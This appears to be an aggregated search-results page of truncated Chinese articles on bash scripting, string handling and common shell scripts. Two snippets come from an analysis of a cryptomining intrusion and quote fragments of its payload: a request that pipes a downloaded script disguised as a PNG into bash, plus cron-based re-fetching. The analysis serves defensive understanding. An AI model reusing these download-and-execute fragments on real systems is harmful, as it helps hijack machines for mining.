首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

bash shell参数展开(Shell Parameter Expansion):替换变量(variable)中的字符串

在写bash shell脚本时,如果遇到要替换变量中的字符串,首先想到的就是用sed命令,比如下面的示例将变量str中的数字123替换成UUU: $ str=hello,word,123 $ echo...$str | sed -E -e 's/[0-9]/U/g' hello,word,UUUU 上面的例子中用到echo,sed两个命令来实现字符串替换,略显麻烦 其实bash提供了更简单的语法来实现上面的功能...,按照{parameter/pattern/string}的模式可以简单的如下替换 {parameter/pattern/string}的格式说明: 参数名 说明 parameter 变量名 pattern...匹配模板(类似正则表达式),据此查找要匹配的字符串 string 对满足pattern匹配条件的字符串进行替换的字符串 pattern 的格式参见 《Pattern-Matching》 https...://www.gnu.org/savannah-checkouts/gnu/bash/manual/bash.html#Pattern-Matching 使用示例: ## 替换所有数字为U $ str

3.8K20

Linux运维基础技能: 脚本编程与Linux命令

但是当它们被双引号(" ")包含时,"$*" 会将所有的参数作为一个整体, 以"$1 $2 … $n"的形式输出所有参数;" $@" 会将各个参数分开,以"$1" "$2" … "$n" 的形式输出所有参数...上个命令执行结果 Tips: awk 教程 https://coolshell.cn/articles/9070.html sed 教程 https://coolshell.cn/articles/...结果的第一列是仅仅在文件 1 出现的,第二列是仅仅在文件 2 出现 的,第三列是共同出现的。-1 表示不显示第一列,-2 表示不显示第二列,-3 表示不显示第三列。...因此命令行用 bash 执行脚本 #!.../bin/bash for ip in 119.29.192.{1..255}; #批量 IP 的技巧 ;仅仅在 bash 生效,sh 不行 do (     ping -c3 -W1 $ip >/dev

2.8K32
您找到你想要的搜索结果了吗?
是的
没有找到

Shell脚本编程30分钟入门

Windows上的模拟器 windows出厂时没有内置shell解释器,需要自行安装,为了同时能用grep, awk, curl等工具,最好装一个cygwin或者mingw来模拟linux环境。...at skillScript",解释器就会把skillScript",解释器就会把skillScript",解释器就会把skillScript当成一个变量(其值为空),代码执行结果就不是我们期望的样子了...单引号 str='this is a string' 单引号字符串的限制: 单引号里的任何字符都会原样输出,单引号字符串中的变量是无效的 单引号字串中不能出现单引号(对单引号使用转义符后也不行) 双引号...\n" 双引号里可以有变量 双引号里可以出现转义字符 字符串操作 拼接字符串 your_name="qinjx" greeting="hello, "$your_name" !"...ps 查看进程列表 grep 排除grep自身 查找与target相邻的结果 awk sed 插入 替换 删除 xargs curl 综合案例 参考资料 Advanced Bash-Scripting

1.4K20

凶残的挖矿脚本,奴役我数千机器!

logic|bash'});"); HTTP/1.1 Host: 20*.10*.8*.1*9:7001 #已脱敏 User-Agent: curl/7.55.1 Accept: */* Content-Type...logic|bash 首先输出了一个全局环境变量,然后下载一个png文件 狡猾的人都喜欢带面具,而狡猾的脚本都喜欢改后缀。看起来是个png,但它是个脚本。 2. 脚本怎么安装的?...\`*${guid})|bash" 其中,src变量是在一开始就设置的,我们依次来还原一下。...${src}_${cdate} 最终会拼成下面的字符串,可以说该有的信息都有了,能够区分出到底是哪一台机器了。 url?...$RANDOM环境变量,是个神奇的环境变量。直接输出的话,将会得到一个随机值。cron脚本周期性的拉取最新的脚本执行,把真正的挖矿程序部署起来。

56840

淦!凶残的挖矿脚本,奴役我数千机器!

logic|bash'});"); HTTP/1.1 Host: 20*.10*.8*.1*9:7001 #已脱敏 User-Agent: curl/7.55.1 Accept: */* Content-Type...logic|bash 首先输出了一个全局环境变量,然后下载一个png文件 狡猾的人都喜欢带面具,而狡猾的脚本都喜欢改后缀。看起来是个png,但它是个脚本。 2. 脚本怎么安装的?...\`*${guid})|bash" 其中,src变量是在一开始就设置的,我们依次来还原一下。...${src}_${cdate} 最终会拼成下面的字符串,可以说该有的信息都有了,能够区分出到底是哪一台机器了。 url?...$RANDOM环境变量,是个神奇的环境变量。直接输出的话,将会得到一个随机值。cron脚本周期性的拉取最新的脚本执行,把真正的挖矿程序部署起来。

1.5K40

【C 语言】二级指针案例 ( 字符串切割 | 返回 二维数组 作为结果 )

并传出结果 ; 观察上述字符串 , 以 逗号 “,” 分割为 3 部分 , 最长的字符串有 3 个实际字符 , 加上 ‘\0’ 结尾 , 最长的字符串设置 4 字节即可 , 因此这里设置的二维数组为..., 然后将 2 个指针之间的字符拷贝出来 ; ② 重置变量 : 重新设置 2 个指针的位置 , 指向上一次逗号字符的后面第一个字符 , 然后又开始重新查找逗号字符 , 继续执行 ① 中的操作...* @param str 要分割的字符串 * @param c 分割依据 * @param array 将分割结果写入该数组 * @param count 分割了多少份 * @return...char c, char array[3][4], int *count) { // 用于接收 str 参数 char *p1 = NULL, *p2 = NULL; // 临时变量...// 循环控制变量 int i = 0; // 存放分割结果 char array[3][4]; // 分割字符串 ret = split_str(str,

1.7K10

培养这10个习惯,你就离UNIX高手更进一步了

设置 filec 变量即可启用该功能(使用命令 set filec)。在您开始键入文件名后,可以按 Esc 键,Shell 将补全文件名或者补全尽可能多的部分。...Bash Bash Shell 也提供了文件名补全功能,但它使用 的是Tab 键。您在 Bash Shell 中不需要设置任何选项即可启用文件名补全功能,该选项是缺省设置的。...curl命令非常强大,可以通过man curl了解更多它的功能 。...最有效的利用正则表达式 大量 UNIX 命令使用正则表达式作为参数。从技术角度而言,正则表达式是表示某种模式的字符串(也就是说,由字母、数字和符号组成的字符序列),用于定义零或更长的字符串。...若要查看字符串 ing 是否出现在文件文本中,请用 index() 函数,该函数返回 ing 首次出现的位置,这样您就可以使用它来进行进一步的字符串处理。

76420

培养这10个习惯,你就离UNIX高手更进一步了

设置 filec 变量即可启用该功能(使用命令 set filec)。在您开始键入文件名后,可以按 Esc 键,Shell 将补全文件名或者补全尽可能多的部分。...Bash Bash Shell 也提供了文件名补全功能,但它使用 的是Tab 键。您在 Bash Shell 中不需要设置任何选项即可启用文件名补全功能,该选项是缺省设置的。...使用 curl 命令行实用工具 想从命令行访问 Web?用 curl 命令!...例如,用 curl 命令来下载 HTTP 托管的文件。使用 -o 参数来指定保存输出的位置“ List10:用 curl 下载文件 curl命令非常强大,可以通过man curl了解更多它的功能 。...最有效的利用正则表达式 大量 UNIX 命令使用正则表达式作为参数。从技术角度而言,正则表达式是表示某种模式的字符串(也就是说,由字母、数字和符号组成的字符序列),用于定义零或更长的字符串

91260

10 个实战与面试【常用 Shell 脚本】编写

/bin/bash 2)语法缩进,使用四个空格;多加注释说明。 3)命名建议规则:变量名大写、局部变量小写,函数名小写,名字体现出实际作用。...4)默认变量是全局的,在函数中变量local指定为局部变量,避免污染其他作用域。 5)有两个命令能帮助我调试脚本:set -e 遇到执行非0时退出脚本,set-x 打印执行过程。...1 获取随机字符串或数字 获取随机8位字符串: 方法1: # echo $RANDOM |md5sum |cut -c 1-8 471b94f2 方法2: # openssl rand -base64.../bin/bash PORT_C=$(ss -anu |grep -c 123) PS_C=$(ps -ef |grep ntpd |grep -vc grep) if [ $PORT_C -eq 0.../bin/bash check_url() { HTTP_CODE=$(curl -o /dev/null --connect-timeout 3 -s -w "%{http_code}"

42240

if语法案例

/bin/bash Mem=`free -m|awk 'NR==3 {print $4}'` Chars="current memory is $Mem" #Mail=`mail -s "`date +...对端口进程等进行判断时,尽量先通过grep过滤端口和进程特殊标记字符串,然后结合wc将过滤到的结果转成行数在比较, 如果单纯的根据具体的列取具体的值判断会很麻烦,如果一定要用,也要尽量用字符串比较的语法...> 将此程序放到了lnmp服务器的站点目录,然后curl访问 或者在php服务器端执行本程序 对返回结果进行关键字过滤即可 4.监控MySQL的更多参考脚本 过滤端口后对比[不推荐] if [ `netstat.../etc/init.d/nginx start fi 读端口后当作字符串比较,取值麻烦 if [ "`netstat -lnt|grep 80|awk -F "[ :]+" '{print $5}'`"...,根据返回的结果和其他的值进行比较 if [ "`curl -s http://127.0.0.1`" = "oldboy" ] 说明:方法略麻烦但是结果最准确,使用与数据库及更深层次的对网站集群后端各个应用的检测

40120

命令行上的数据科学第二版 四、创建命令行工具

如果你想验证括号扩展或者其他形式的文件扩展会导致什么, 用echo代替命令把结果打印出来....NUM_WORDS被设置为$1的值,这是 Bash 中的一个特殊变量。...下表列出了 Bash 提供的其他特殊变量。如果没有指定值,它将采用值10 注意,为了使用$NUM_WORDS变量的值,您需要在它前面放一个美元符号。当你设置它的时候,你并没有写一个美元符号。...我们也可以直接使用1作为head的参数,而不必费心创建一个额外的变量,比如NUM_WORDS。...为了实现这一点,Bash 需要知道在哪里可以找到您的命令行工具。它通过遍历存储在名为PATH的环境变量中的目录列表来实现这一点。

2.2K40

Shell编程进阶篇(完结)

[root@clsn scripts]# expr length '111' 3 1.2.6 【练习题6】破解RANDOM随机数案例   已知下面的字符串是通过RANDOM随机数变量md5sum后,再截取一部分连续字符串结果...利用一个返回结果为布林值(Boolean)的表达式作为循环条件,当这个表达式的返回值为“真”(true)时,则反复执行循环体内的程式码;若表达式的返回值为“假”(false),则不再执行循环体内的代码,...10.0.0.180:81 ok   服务端显示结果: [root@clsn scripts]# sh web_view.sh GET / HTTP/1.1 User-Agent: curl/7.29.0...将参数作为 shell 命令执行。 将 ARGs 合成一个字符串,用结果作为 shell 的输入, 并且执行得到的命令。...2、参数返回,可以显示加:return 返回,如果不加,将以最后一条命令运行结果作为返回值。

2.7K01

Linux 【Shell脚本经典案例】

/bin/bash 语法缩进:使用四个空格;多加注释说明 命名建议规则:变量名大写、局部变量小写,函数名小写,名字体现出实际作用 默认变量是全局的:在函数中变量local指定为局部变量,避免污染其他作用域...有两个命令能帮助我调试脚本:set -e 遇到执行非0时退出脚本,set-x 打印执行过程 写脚本一定先测试再到生产上 一、获取随机字符串或数字 获取随机8位字符串 方法1: # echo $RANDOM.../bin/bash PORT_C=$(ss -anu |grep -c 123) PS_C=$(ps -ef |grep ntpd |grep -vc grep) if [ $PORT_C -eq 0...二十三、 将结果分别复制给变量 应用场景:希望将执行结果或者位置参数赋值给变量,以便后续使用。...方法1:EOF标准输出作为expect标准输入 #!

3.1K41
领券